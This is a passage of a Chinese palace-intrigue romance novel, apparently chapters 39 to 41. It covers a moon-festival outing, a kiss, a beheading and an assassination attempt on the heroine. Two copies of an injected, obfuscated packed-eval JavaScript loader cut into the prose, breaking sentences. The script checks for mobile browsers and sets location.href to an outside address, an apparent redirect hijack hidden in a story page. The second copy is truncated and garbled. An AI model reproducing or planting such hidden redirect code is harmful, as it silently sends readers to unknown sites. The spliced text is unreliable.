麻雀见月慈真动了心思,忙在她身边低声道:“冷静冷静…” 月慈转头骂道:“冷你个头!” 她一把拽着麻雀登上了台。 那人身穿一道湖蓝的马褂,头戴一顶瓜皮帽,见自己计谋得逞,笑得眼睛快要眯成两条缝。 问月慈:“二位是什么关系呀?” 麻雀感觉自己整个人踏进了半幅棺材里,快僵了。 月慈低声问他:“你几年生的?” 麻雀生无可恋开口:“壬辰二十一年。” 月慈倒是没多大惊讶:“那你还比我小上一岁。” 于是她有了底气,冲那瓜皮帽义正言辞道,“这是我弟弟,可能参与?” 瓜皮帽愣了片刻,才想起点头:“自然,咱们这游戏只限两人,不限关系。” 麻雀可没胆子去细细观察月慈的手,于是站到了帘子后,只将自己当成一根没有感情的木头。 还好没带太多的黑鸟卫,只要他不说,月慈不说,掌印就不会知道他陪月慈玩了什么! 随着锣声敲响,游戏开始,底下的观众也聚精会神看着台上。 “哦对了,忘记说。”瓜皮帽在月慈身边开口,“您只有一次选择的机会,选定了就要将那人从帘子后牵出来哦。” 月慈紧了紧拳头:“……你大爷的说的还能再早点吗?” 瓜皮帽嘻嘻一笑,退到了旁边。 月慈走到第一道帘子前,里面伸出了一双手,黝黑粗糙,还有不少老茧,虽然麻雀习武多年手中也有老茧,但应该不会像这个一样苍老吧。 第二道屏风后伸出的手倒是有点像,白白嫩嫩的,那孩子还比她小一岁呢,所以这个很有可能。 月慈紧接着来到第三个帘子前,但里面一直没有人将手伸出。 瓜皮帽喊了几声,后面的人也没有反应,于是正打算叫了人去看,第四道帘子后的人率先将手伸了出来。 瓜皮帽愣了一下,只好冲月慈道:“许是第三人有些害羞,姑娘先去瞧瞧第四位吧。” 伸个手也害羞么。 月慈不解,但还是依言走到第四道屏风前,然而她只看了那手一眼,便愣住了。 那是一双她再熟悉不过的手,薄而宽大,温白如玉,尤其是奇长的食指和中指,一眼就能叫人辨认。 他怎么会在这?他不是应该在宫中陪着皇帝参加什么团圆宫宴么? 月慈一度以为自己出现了幻觉,然后她下意识扭头看向还未人出现的第三道帘子。 就在这时,第四道的帘子后忽地传出声音。 “姑娘若选在下,在下愿送姑娘一样礼物。”一样的轻声慢调,却透着点认真。 结果还没等月慈做出反应,瓜皮帽先一步张口呵道:“帷帘后的人不许说话!” 那人便不再开口。 月慈忍了笑,几乎能想象帘后之人的表情。 她道:“好啊,那我倒要看看公子送我什么?” 她牵住那只白玉温润的手。 瓜皮帽好心出声提醒:“姑娘,咱们这是选自己原先搭档的,可不是让你来盲选夫君的。” “……你才选夫君。” “……”瓜皮帽无奈道:“那,姑娘,您确定他就是你要选的人么?” 月慈笑了一下,牵着对方,手中微微用力,将人慢慢从帘子后拽出。 “我确定,就是他。” 月慈从第四道帘后牵出了一个戴着狐狸面具的人,一身石绿的长袍正好与她身上的竹青长裙相得益彰。 “很遗憾姑娘,您没选对人,现在请帘后的公子都出来吧。” 然而剩下三道帘子里却只走出了两人,一个是中年大爷,一个是陌生小生。 月慈凑到闻鉴身边低问:“你把麻雀怎么了?” 闻鉴却坦然道:“哪有麻雀,从头至尾不是只有我们么。” 月慈:“。” 瓜皮帽走到帘后看了一圈,没找到人,纳闷地走了出来:“奇怪……” 他又看向月慈,“姑娘,令弟呢?” 月慈睁着眼睛说瞎话:“我哪有弟弟,”她用胳膊肘怼了怼身边的闻鉴,“我明明是跟他来的,你看,我俩都戴着面具呢。” 瓜皮帽:“。” 您要不瞧瞧我这眉毛底下的俩窟窿干啥用的。 两人光明正大耍起了无赖,最终瓜皮帽为了将这两人打发走,给了月慈和闻鉴一人一张花笺。 月慈的花笺上写着一句“我见众生皆草木”,她瞥见闻鉴的花笺,上面也写了一句话:唯有见你是青山。 月慈一下子瞪大了眼睛:“?” 不对,他娘的十分里有九分的不对! 这瓜皮帽他正经吗!? 她想要一把夺过闻鉴的花笺,将这两破纸毁尸灭迹,闻鉴却抬手一躲,没让月慈得逞。 月慈只好咬着一口后槽牙,低声威胁:“把它给我。” 闻鉴却慢条斯理道:“可我还没看清上面写了什么。” 随即扫了眼花笺上的内容,眼尾似乎弯了弯,“月大夫,可以教教我这上面的内容吗?” 教个屁! 月慈这几日好不容易按下去的杀心又起了苗头,只是有人忽然抢先一步,旁边两个小孩嬉笑打闹着撞了上来,正好撞在了闻鉴身后,他手里的花笺便如落花一般,飘然飞进了旁边的河里,顺着水流很快远去。 三方忽然都僵住了。 月慈颇为紧张地盯着闻鉴,而闻鉴眼尾绷直,冷漠地俯视着那两个孩子。 撞了闻鉴的那个男孩手里抓着个房子形状的糖画,个头还不及他的腰,似乎是知道犯错了,糯米团子般的脸皱成一团,看上去像是要哭。 抽抽噎噎道:“对,对不起狐狸哥哥……” 闻鉴眉头一蹙,并未吭声,只朝那孩子猛地抬手。 素来知道他什么力气的月慈吓了一跳。 老天爷哎,这手劲一掌下去还不得把糯米团子活拍成面饼! 她伸手去拉闻鉴,却慢了半拍,闻鉴的巴掌已经挥了出去,只听见清脆“咔”的一声,糯米团子没被拍扁,倒是他手中的房子糖画变成了废墟。 月慈和那孩子又齐齐愣了一会儿,片刻后,糯米团子看着手里光秃秃的糖棍哇哇大哭了起来。 月慈:“……你在干什么?” 这俩人一般大吗! 闻鉴收回手,轻描淡写道:“以彼之道,还之彼身,如此也不算以大欺小。” 月慈:“。”她简直想为他鼓掌。 那小孩哭声越来越响亮,引得周围不少人纷纷侧目,而后头似乎是小孩的父母急急追了过来。 月慈随手将花笺往袖口里一塞,连忙抓起闻鉴就跑,两人如同两尾灵活的鱼,穿行在人潮中,自由来去。 任谁也想不到,此刻被一女子牵着的狐狸面具,会是他们平日里闻风丧胆的魔头,只怕是他将面具摘下,这条街便会瞬间空个干净。 月慈心想,闻鉴既然愿意戴着面具出现,就说明他想过不在这次的节日上引人注意,或者说,不愿意破坏这难得的祥和氛围。 于是此刻,权当他不是那个高高在上的掌印。 可跑到一半时,闻鉴忽然反手扣住了她。 月慈回眸,即便隔着面具也能看出不解。 闻鉴道:“跟我来。” 那只看上去温润,接触起来却冷硬的手拉着月慈一路来到江边的一座亭内。 亭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161100|163174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子内人不多,只有一位年轻的白衣公子,和一名灰衣侍从打扮的小童,白衣公子的手里拿着一盏精致小巧的月游灯,灯面上画着一男一女的小像,还算传神。 月慈离旁边的白衣公子就隔着两三人的距离,隐约能听到他们在说什么。 那名侍从苦口婆心道:“公子,老爷不是让您今日陪他一同去侯府参加赏月宴吗?您怎么把老爷撇下,自己一个人跑到这儿来了。” 白衣公子目光垂落在手中灯面上的两幅小像,轻声道:“我今日约了人,那赏月宴不去也罢。” 侍从见他双颊带着抹落霞,便明白了什么,调笑道:“哦——原来公子是在等云姑娘啊。只是您为何不等赏月宴结束,再出来与云姑娘相会呢?” 手中的月游灯被风吹动晃了晃,白衣公子笑道:“那样她会生气的。” 侍从颔首道:“是了,公子你可是最怕云姑娘生气的,她叫你往东啊,你便不敢往西。” 末了,他又小声嘀咕一句,“您好歹也是刑部侍郎的公子,说出去叫人听见害怕个姑娘,可怎么得了啊。” 白衣公子闻言,终于抬眸看向了身边的侍从,轻叹道:“青书,你年纪小不懂这些。若真心爱一人,是心甘情愿听从她的规训,这不是害怕,而是尊重。” 青书确实一脸茫然不解:“可古往今来,不都是女子听从男子的吗?” 白衣公子拂袖,灿然一笑:“可我白循只有此一生,不知古往如何。” 说完,眸子一转,恰好对上了月慈望向这边,却略微出神的视线。 侍从倏然指着另一侧的石桥,低呼道:“公子快看,云姑娘来了!” 白循急忙往桥上望了一眼,经过月慈身侧时面带微笑地朝她礼貌颔首,方才离开。 月慈回过神,这才发觉自己偷听了半晌,还好一张脸掩在面具后,瞧不出她此刻的心虚。 另一侧的石桥上,白循已经提着月游灯和他心爱的云姑娘相会,两人并肩而行,巧笑嫣然的模样就像是月游灯上的两张小画。 ..... 月慈收回目光,方才白循的一番话如涟漪似的又回荡在她耳畔。 ——“若真心爱一人,是心甘情愿听从她的规训……” 然而伴随着言语浮现在月慈脑海中的,却是闻鉴的面容。 一开始她以为闻鉴良心未泯,对她怀有半分的感恩之心,直到后来闻鉴一寸寸地逼近她,声称他从未有过感恩之情。 若不是如此,那要如何解释他对她的不同? 难不成…… 月慈猛然被脑子里冒出的想法吓了一跳,那个不敢想的答案对她来说如同危楼,轻轻触之便会万劫不复地倾倒。 闻鉴会心悦于她吗? 可他凭什么喜欢她!她明明是来杀他的!这人是有什么奇奇怪怪的癖好吗!? “你怎么了?” 闻鉴见她愣住,伸手在她眼前挥了挥。 月慈恍惚回神,问:“你带我来这做什么?” 闻鉴道:“说好的礼物。” “礼物?” 月慈这才想起来先前他在帘子后说的话,原以为是玩笑,没想到是真的。 不过她也没指望这家伙能送点什么好东西,可下一刻,夜空中忽然炸开了火树银花。 月慈听到动静抬头望去,夜色中升起的焰火骤然倒映在她眼中,舒展着各色的花枝,又在黑夜的幕布上连成一片五光十色的斑斓画卷。 这场烟花比七宝镇的更加盛大,她不自觉将呼吸放轻了些。 所有人都在同一刻抬头,白面狐狸却只盯着眼前的人,眸色深深。 闻鉴一直觉得像烟花这种华而不实的东西没什么好看,不过过眼一亮,转瞬即逝,但很奇妙的是,他曾在一场焰火下记住了一个清晰的瞬间,那刹那便如同刀劈斧凿般刻在了记忆中。 于是他觉得,烟花似乎没什么不好。 直到月慈回眸,和他视线撞在一处,这一刻,瞬间仿佛成了永恒。 月慈看到闻鉴的瞳孔似乎剧颤了一下。 在七宝镇的时候,男人的眼睛蒙着一层灰白的翳,比起平日还要显得死气沉沉,但在那日的焰火下,那双眸子亮了起来。 现在,狐狸面具后的眼睛宛如灼热沸腾的潭水,里面有未知的雾气,将掩未掩着他的情绪。 月慈感觉心头好像被什么东西挠了一下,勾起一阵隐秘而浅薄的痒。 这刹那她隐约产生了一个念头,于是迫不及待想要验证一番。 心脏在胸腔中剧烈鼓动,月慈平复了一下呼吸。 她的嗓音却如被秋风染了寒凉,有些沙哑:“闻鉴。” 闻鉴低低“嗯”了一声。 下一瞬月慈抬手一把抓住了他的衣领,将人拽近后,空出的手缓缓摘下自己脸上的鎏银面具。 眼前的人影迅速靠近放大,熟悉的药香涌入鼻间。 闻鉴错愕地睁大双眼。 柔软的,温热的唇轻轻落在那张狐狸面具上。 40. 戏剧 躲在暗处的黑鸟卫们:“……” 拐角的暗巷口,麻雀刚捂着自己被打了十大板的屁股回来,瞧见不远处发生的一幕,顿时眼睛瞪圆了。他怀疑自己刚刚看错了,揉了揉眼睛又看一遍,一脸的不可置信问青雀:“发生什么了?” 青雀别过头去,缄默不语,眉宇间覆盖着一层薄薄的冰霜。 闻鉴不可遏制地想,他今夜为什么要戴这张该死的破面具? 直到药香远离,他眸中似是燃烧着一片炽热的火海,哑然道:“你在干什么?” 月慈道:“验证一个答案。” “那你验证出了什么结果?” 月慈轻抿了干燥的唇,视线下移,落在方才触碰过的狐面上,心里却在惦记面具后的那张脸。 她想说不知道,也许再试一次就能有答案。 可张了张嘴,没等出声,目光却先落在闻鉴身后,然后闭了嘴,重新将面具戴上,隐去脸上那点动摇的情愫。 青雀从暗处中走了出来,在闻鉴身边附耳低声说了句什么。 顿时,闻鉴眸中的光便像是转瞬的烟火般散去,徒留虚无的暗沉。 迅速转身道:“走。” 月慈看见那道背影走了几步又停住。 闻鉴侧头对青雀吩咐道:“留几个人下来,送她回去。” 月慈看到青雀回头深深看了她一眼。 焰火燃尽,一切都归于沉寂,仿佛方才种种只是一场转瞬即逝的幻梦。 月慈心情平复下去,似是百无聊赖地趴在栏杆上望向江面。 不少莲灯在江面随风中晃荡,迎面吹来一阵阵冰凉的夜风,隐约带着潮气,似是不久后将要落雨。 一抹红忽地从她怀中飞落,月慈下意识伸手一捞,没捞住,只能看着那张花笺落在水面,顺着水流的痕迹慢慢远去。 —— 原本城中热闹祥和的景象忽然被官兵和玄武军的出现打破。 百姓这才知道李尚原来一直没出城,而是一直躲在京都内,并且就在今夜,闻鉴将带兵将他捉拿归案。 一时间节日氛围不再,百姓人心惶惶,纷纷往家躲去,街道上散落着不少月游灯和花笺,被踩踏得满是泥泞。 闻鉴领着两支身着银铠的玄武军穿过街道,目光触及到地上的花笺时,他眸中闪过片刻的异色,但很快便恢复了死寂。 青雀在他身边道:“李尚极其看重家人,这个节日必定会偷偷回府一叙,幸好咱们已经提前在李府周围安插了人手,现在他必定还在府内。” 闻鉴言简意赅道:“去李府。” 一行人浩浩荡荡前行,不远的街边忽然出现一对父母,领着两个孩子低头匆匆走过,其中一个男孩忽然停下,指着闻鉴喊道:“爹娘!就是这个狐狸哥哥弄坏了我的糖!” 闻鉴脚步一顿,这才想起来钟耳扮演久了,连面具都忘了摘。 于是他当着那孩子的面缓缓摘下脸上的面具,刹那间,孩子的父母如同见到了什么可怕的东西,连忙将孩子的嘴牢牢捂上,噗通一声跪了下来。 抖如筛糠道:“掌印饶命!” 闻鉴沉默着,盯了这对家人良久。 他们将头埋到最低,抖得不成样子,但孩子年纪尚小,不知其中厉害,依旧睁着圆溜溜的眼睛看闻鉴:“狐狸哥哥,那个跟你一起的姐姐呢?” 闻鉴低敛的眉眼忽地一抬,又沉默片刻后,抬手将面具交给了旁边的青雀。 那对父母此刻已经心如死灰,正不知如何是好时,忽然听到闻鉴轻飘飘来了一句:“咱家忙着捉拿要犯,你们自行离去。” 说完,带着身后一众人继续前行。 直到闻鉴领着人走出许久,这对父母才如蒙大赦,沉沉吐出一口浊气,擦去额头的冷汗,将两个孩子抱得更紧了些。 母亲追问糯米团子道:“毓儿,你刚刚说的姑娘,是什么人?” 糯米团子眨了眨眼睛,在脸上比划了一下:“我也不知道呀,就是一直跟在狐狸哥哥身边的一个姐姐,也戴着面具呢。” 母亲一时间不知做何表情:“那个人的身边竟然也会有女人,这可真是稀奇。” 旁边的父亲回过味来:“不过我怎么觉得,刚刚像是毓儿提到了那姑娘,掌印才放过我们的呢?” —— 此时的李府已被重兵包围,门前还停着一辆马车,上面印有一个金色威猛的虎头印记,是德亲王为自己亲手设计的图腾。 底下的人端了把椅子,紫袍华服的尉迟炯好整以暇坐在上面,翘着脚,懒懒看向被悬挂在李府门前,被鞭打到浑身血痕的男人,一头乱糟糟的发散着,两只眼睛也肿得眯成一条缝隙,其余的地方也是不成样子。 府邸内传来女人求饶的哭喊声,尉迟炯咧嘴笑了下,看向站在斜前方的闻鉴,一副兴致盎然的模样。 道:“先前本王让你直接把他的家人抓起来,你不愿,本王当你又是老毛病犯了呢,没想到竟还有这么一出。” 他换了个更舒服的姿势倚着,一手撑着脑袋,“真不错啊,和最珍爱的家人一墙之隔,一边听着丈夫惨死的叫声,一边听着妻子的哀嚎,啧,简直比戏台上演的还好。” 这么多年过去,闻鉴早已习惯此情此景,脸上是一片冰冷的麻木,就像是一颗全天下最完美的棋子。 他会按照命令落在他们想要落下的位置,可棋子并不只有一个颜色,有时自以为落下的生棋,也许在不久后的将来,也会变成一步死棋。 就像李尚。 李尚原本就是尉迟炯的人,只是此人圆滑,曾一度在朝中趋炎附势,摇摆的多了,自然也就容易遭人猜忌,而闻鉴正好缺个替罪羊,他便成为了最佳的人选。 李尚已经被打得说不出话来了,只将眼死死瞪着闻鉴,嘴里发出一声声的呜咽。 闻鉴早就在暗中切断二人之间联系的一切可能,如此李尚才能哑巴吃黄连,有苦说不出。 谋杀太师,嫁祸掌印,桩桩件件都能随时要了他的命,可偏偏尉迟炯,他所追随的主人想要看他临死前如何绝望。 尉迟炯 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闻鉴并不害怕杀人,他从一个被丢弃在深宫中连宫女太监都不如的稚子爬到现在,手中早就沾了不知多少血。 于是他接过旁人递过的刀,朝李尚走去。 有人砍断了吊住李尚的绳子,他咚的一声掉在地上,像一条已经被剖开的死鱼,却还能靠着一点痉挛唬人。 见到闻鉴朝自己走来,他又剧烈挣扎着,身上的血点点滴滴飞溅到闻鉴的绿衣上。一息尚存,声音微弱,但仔细听还是能依稀辨别他在说些什么。 “闻鉴……你个阉狗……你不得好死!” 不得好死,又是这样的话。 闻鉴听得腻了,表情没有一分一毫的起伏,甚至平静冷漠的,宛如一只僵硬行走的人偶,只沉声道:“放心,咱家之前,还有你们的尸体铺路,想必路上不会太寂寞。” 锋利的刀在空中划过,砍到什么坚硬的东西时甚至发出“噌”的一声,紧接着,一个早已看不清脸的头咕噜噜顺着石阶滚了下去,一直滚到尉迟炯的面前。 尉迟炯嫌弃地看了那颗头一眼,继而抬眸朝闻鉴望去,便见对方浑身浴血,如从地狱中爬出的修罗鬼,一手持剑,用一种平静漠然的杀意注视着他,仿佛在他耳边轻声说: “尉迟炯,下一个就轮到你了。” 深暗的夜空中忽地滚过一道响雷,这一刻,尉迟炯浑身的惫懒忽然散了个干净。 他脊背猛地绷直,全身汗毛倒竖,再次看向地上莫辩的人头时,恍惚像是看见了自己的。 金翎曾告诫过尉迟炯很多回,闻鉴此人能用,但不能深用;能杀,但不能辱。 可他总是忘记,因为每次他一看见那张如谪仙般清隽的脸,便会觉得此人本该像大多数公子哥一样有个锦绣灿烂的好前程,可他却身处深宫,只能干着最卑贱的活。 如此戏剧的一幕,叫他如何能不痴狂。 对这种人的折辱,欲死不能,本身就是另一种比死和痛更凄惨的绝望。 41. 刺杀 夜更深些时忽地落起了瓢泼大雨,将李府门前地面的血迹悉数冲刷,原本浓重的血腥气也渐渐淡去,就像今夜无事发生。 雨幕中,不远处空无一人的街道上停着一辆红顶马车,两侧印有振翅欲飞的金鸟图腾。青雀和几名穿着玄黑的黑鸟卫一手持刀,一手撑伞,安安静静守在马车旁。 车厢中十分宽敞,与外面几乎是两个世界。角落点有气味浓烈的熏香,地面铺着一层温暖的白色毛绒毯,但沾染上了一些刺目的血迹。 一身青衣沾血的闻鉴便淡然坐在其中,拿着一方手帕仔细擦拭着指间的血渍,然而擦了半天,依旧痕迹斑斑。 他便不耐将那方手帕随手一丢,微微侧头,问守在外面的人:“她在何处?” 稍息,青雀的声音才和在雨中传来:“大人恕罪,月姑娘她……不见了。” 闻鉴眉峰陡然一拧,声色越发冷漠:“你从不会出这样的差错,究竟是跟丢了,还是压根就没派人看着她。” 青雀心中一骇,握着伞柄的手因为用力而泛着臼白。 原本他以为闻鉴今日早早离了团圆宫宴,是为捉拿李尚,可他却令人暗中准备烟花那种虚无缥缈的东西。 片刻,他像是下定决心,猛然抬头,盯着车帘后那张深色的侧影。 —— 月慈许久没来京都,这地方跟她印象中相比变化了不少,是以,在闻鉴走后,她一时忘记了该往何处走。 不过无伤大雅,就当是在街头漫步。 直到人群开始慌乱,骤然撕碎了追月节的热闹祥和,然后月慈感觉身后有人,正在朝自己快速逼近。 直觉让她快跑,也是那一刹,她似乎听到了刀剑出鞘的声音。 有人想趁乱要她的命! 来不及细想是谁,月慈满脑子只剩下逃命!她和慌乱的人群一起狂奔,那些杀手被人群阻碍,没能立即追上来。 月慈迅速躲到了巷子里的一堆竹筐后,这才将脑子空出来去猜测是谁派出的杀手。 她此刻脸上还戴着面具,按理说旁人认不出她来,除非那人知道她的脸就藏在这面具之下。 闻鉴前脚刚走,后脚就出了事,想必是有人趁他离开,这才派出人来。但月慈自诩没得罪过什么人,会有谁想杀她呢? 空中闷雷滚滚,偶尔闪过几道紫光。 月慈抬头从竹筐后小心探头看了两眼,杀手们跟丢了人,从巷子口前径直穿过。 她略微松了一口气,打算从巷子另一头离开。 然而刚起身,忽然听得一声嗡鸣自上方传来,压根来不及多想,月慈当即扑身往旁边一滚,下一瞬一柄森寒的长刀便落在她原来的位置,将竹筐劈得个粉碎! 来人一身玄黑,月慈警惕盯着他,袖剑藏在宽大的袖袍中蓄势待发。 如果只有一两个人的话,还能拼上一把,可很快赶来的其他杀手,将她刚燃起的跃跃欲试直接浇灭。 她习武还并未到炉火纯青的地步,现在面对一众杀手犹如被捕捞上岸的鱼,难逃一死。 一滴雨水从空中落下,正好滴在那柄长刀的刀背,发出几不可闻的一声,像是拉开了围猎的序幕。对方迅疾逼近,速度之快不是来京都前遇到的那群杀手可以比的。 不是同一批人! 电光火石间,月慈脑子里骤然冒出这一句,紧接着那把长刀已经挥到了她面前! “噌”的一声,长刀被月慈抬手的袖箭抵挡了一下。 然而月慈力气不敌,对方顺势如山一般倾压下来,她便眼看着刀尖一寸寸贴近自己面门。 她想活,她怎么能死在这种地方! 于是就着对方的势往身侧一卸力,长刀贴着她的肩侧劈下,她猛地滚向一边,面具哒的一声掉落在地。 雨落大了,视线逐渐变得模糊起来,几道黑影如鬼魅立在雨中形成了一个包围圈,不疾不徐地盯着她。 月慈站起身,缠斗之下一头黑发凌乱地散落,又在雨下变得湿黏,紧紧贴合着她。 那双眼里没有恐惧,反而她在雨中厉声质问:“你们这样做就不怕闻鉴责罚吗!” 黑影一言不发,下一瞬却像是下定了决心,一齐朝月慈冲去。于是月慈明白,这群人什么都不怕,只盼着她一死。 她大喊:“我死了闻鉴也活不了!” 那些剑只在离她一寸之处停顿。 便是这一顿给了她一线生机,在对方反应过来继续逼近时,一只手猛地从身后探来一把按住月慈的肩,借势将她面前的那柄刀踢飞了出去。 月慈听到了麻雀的声音,不同于以往的淡漠,那略微稚嫩的声线中透着冷凝之意。 “我来掩护,月姑娘快走!” 不用麻雀说,打不过这群人的月慈留下只会是拖累,当即像阵风似得,扭头就跑。 有人追来,又被麻雀一手提了回去,月慈回头看去一眼,却见麻雀并未拔剑,只是赤手空拳和那些人缠斗。 月慈一口气不知道跑了多远,整条街道空无一人,只有散落一地的月游灯和花笺,她闷头跑进一家尚还开着的茶楼。 里面的堂倌忽见一女子从外面匆匆闯进,吓了一跳,对方浑身狼狈,像在湿漉漉的街上滚了一圈似得,衣裳脏的不像话,偏一张脸被雨冲得干净,清秀好看,眼睛十分明亮。 茶楼里不少人在,一时间全朝月慈望了过来,她自觉这幅样子肯定古怪,恐遭人怀疑,不过考虑到暗处杀手,也顾不了那么多了。想着藏在人多处,总比一个人在外面乱闯的好。 一楼已是客满,堂倌引着她去到二楼,月慈挑了一个墙角靠窗的位置,只将窗打开一些,能窥见街道一缝隙的景象便好。堂倌贴心地为她拿了块干净的巾帕,月慈谢过,又随意点了一壶茶。 直到手握上倒有暖茶的杯盏,月慈才惊觉自己的手还在发颤。 差一点,今日就差一点。 她约莫已经猜到了想要她命的人是谁,能知道她面具下容貌的,必定是飞鸟阁中的人,身手较好又能让麻雀留手不杀的,也就只有黑鸟卫了。 要说黑鸟卫中最恨月慈的,青雀当属第一。 此人对闻鉴极其衷心,甚至不惜违抗闻鉴的命令也要杀她。 月慈神色沉沉,端着热茶正要喝,那堂倌又来到她身侧,低声问她:“姑娘,今日茶楼人满,有位公子无处落座,可能与你并拼一桌?” 月慈不甚在意这些小事,点头过后,那堂倌便将人引了过来。 月慈扭头往下望去,正好见麻雀站在街道顾盼,似乎是在寻她。 她现在一个飞鸟阁的人也不想看见! 月慈往窗后躲了躲,没让麻雀瞧见,便是这时,不远忽然传来一道熟悉的声音。“阿慈?” 月慈手中的茶抖了三抖,茶盏倾倒,终究没缘喝下。 她抬头看去,是一张熟悉的面孔,身着鹅黄长衫,乌发用鎏冠束起,神色温润。 与飞鸟阁无关,与京都无关,与仇怨无关,月慈见了他,就像是一个人在外漂泊久了,忽然见到了家乡的信物,一时心中百感交集,以至于望着庄泽宣神情震骇,直到对方落坐在她对面,都没回过神来。 庄泽宣也没想到会在这里见到月慈,他那日被一箭射中时以为自己死定了,但还能醒来,并且就在家中。 父亲告诉他,家仆一早打开门时,就见他负伤躺在门口,伤口被简单处理过。 然而庄泽宣压根想不起是什么人救的自己。 后来他想找月慈,可寻了许久都没一点消息,又不敢去信给刘屠户一家,生怕他们会怪罪自己弄丢了人。 直到今日偶然来京都办事,没想到被雨一拦,竟是在这遇到了! 只是他看着月慈,虽然略显狼狈,但身上衣物不是俗物,心中隐约生出了些不好的预感,于是在把这一月里发生的事告知后,他问:“阿慈,你这是?” 月慈眼底划过一抹异色,勉强扯了点笑容出来:“出门忘记带伞,匆忙躲雨时摔了一跤,没什么大事。” 庄泽宣却深深盯着她:“可你知道我要问的不是这个。” 月慈手指抽动一下,不想继续深入这个话题,抬手倒了杯茶递过去,问:“你的伤如何了?我这段时日给你去了好几封信,你没回,我还以为你……” 以为你死了,这样的话像是在咒人似的,月慈没说出口。 庄泽宣接过茶水:“所幸那时并未伤到要害,如今已经无碍了。只是……你有送信给我么?可我一封都未收到啊?” “怎么会?我明明……”说到这,月慈忽然顿住,想到了什么。 是了,她早该想到的。闻鉴那家伙既将她软囚在飞鸟阁中,出行也要人看着,就不可能让她与其他人联系。 那个小梅,大概就是另一只负责监视的初一。 庄泽宣见她神色有异,眉间像笼着一团阴云,大抵也将此事猜出了七八分来。 “好了阿慈,既然你不想说,那便不说了。” 月慈抬眸看着他温润的眉眼,里面并无半分责怪和疏远,此刻忽觉出几分歉疚来。 两人青梅竹马,虽说没有一起长大,但儿时总归是有情分在的。相隔多年重逢,他对她也能算得上贴心,可她却在那样的情况下弃他而去。 “抱歉宣哥,那日我……” 庄泽宣知道她要说什么,打断道:“你不必跟我道歉,若再回到那日,我依旧希望你会做出同样的选择。” 这样温柔平和的声音就像是这风雨中的一处茶楼,月慈心中微暖,与此同时歉疚又深了一些。 她看着庄泽宣的脸,目光移动到他额头的伤疤处,虚空指了一指,问:“宣哥,你这伤是怎么来的?” 庄泽宣神色一僵,不自觉地捋了点头发将那处盖住,耷拉着眼,道:“没什么,小时候调皮,不小心摔了一跤。” 他这话跟月慈方才说的相差无几。 月慈见他遮掩,看上去很是在意的样子,便道:“虽说这疤落的时间久了些,不过也不是完全去不掉。改日我调个祛疤的膏药给你,你坚持用上几日,应该能淡去许多。” 庄泽宣只感觉陈年伤疤似是一疼,不敢去看月慈的眼睛,只低头道:“没用的,以前我买了许多膏药,都什么用处。” 这道伤就像是烙在了他的骨子里,忘不掉,消不去,时不时还要抽痛着折磨他一下。 月慈从他话中觉出了几分微妙,但见他神色不对,便没有再问。 此时街上远远忽然传来一阵车马行进的声响,不久吁的一声似乎停在了楼下。月慈心中一跳,立即转眼看去,庄泽宣也跟着转头。 雨幕中果然停了一辆红顶马车,由两匹上等马所牵引,庄泽宣一见车表上所印的金鸟图腾,顿时瞳孔紧缩。 他转头看一眼并无意外的月慈,心道:果然,他们还是纠缠在了一起。 可是他不能眼睁睁看着阿慈自寻死路! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188434|163174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >于是匆忙伸出手,甚至打翻了月慈为他倒的茶水,只为拉住月慈垂放在桌面的手,焦急道:“若你真觉得抱歉,能否答应我一个请求!” 月慈一怔,下意识想要将手抽回:“什么?” 庄泽宣将她拉得紧,月慈随意一抽竟然没抽回来。 只见他目光灼灼,道:“跟我走吧阿慈!云城离这不远,我也带够了人,这次路上不会再出意外了!” 月慈没吱声,却又往楼下扫了一眼。一只白皙修长的手掀开车帘而出,外面的人顺势将一柄青竹伞送去,为其遮住雨水,也遮住了那张即将露出的脸。 原本祥和热闹的茶楼登时安静下来,只剩下有人拾阶而上的声响,一步一声,木质阶梯咯吱作响。 庄泽宣往楼梯口望了两眼,知道再走就来不及了,便将牙一咬,拉起月慈道:“跟我走!” 二楼两侧都有楼梯,庄泽宣拉着月慈往另一侧走去,可他还未走下一步,一柄森寒的剑便直指着他的面门,将他倒逼了回去。 另一边竟是麻雀。 麻雀无声地扫了月慈一眼,随即望向她身后。 月慈感觉脊背有些发凉,好像有一道冰锥抵在她后脖似的。 月慈身上被雨淋透,窗子渗进初秋的风,经此一捎便透着入骨的寒意,然而闻鉴的嗓音比这更凉。 “你们想要到哪去?” 庄泽宣整个人僵在原地动弹不得。 他今夜刚知闻鉴亲自领兵去抓那李尚,逼得人家家破人亡,最后砍下李尚的头颅。一时心中震骇,只期盼不要再遇上此人,没想到会在这碰见,简直是老天弄人。 黑鸟卫将场地清了个干净,茶楼顿时多出不少空位。 闻鉴想着反正今日也杀了人,不再介意多杀一个,便给麻雀递了个眼色。 麻雀心领神会,当即提剑朝庄泽宣牵住月慈的手砍去。 庄泽宣一惊,下意识松开月慈的手,往旁边闪躲去。这一闪,便有人将他按在了墙上,一剑抵着他的喉咙。 月慈连忙喊了一声:“等等!” 那人的剑只在庄泽宣喉咙上擦出一道血痕。 闻鉴表情更加难看,眸中只剩下一片缄默之色,可他还是抬了手,身边的人便为他递上一方雪白的巾帕。 他来到月慈面前,故意将庄泽宣挡住。 今夜发生了太多事,月慈望着闻鉴,他不知何时换了一身宽大的雪袍,干净的像是昆山玄冰,但月慈心里清楚,他这是刚杀过人。 于是身着青衣送她烟花的人似乎不见了,取而代之的掌印闻鉴。 她道:“放他离开。” 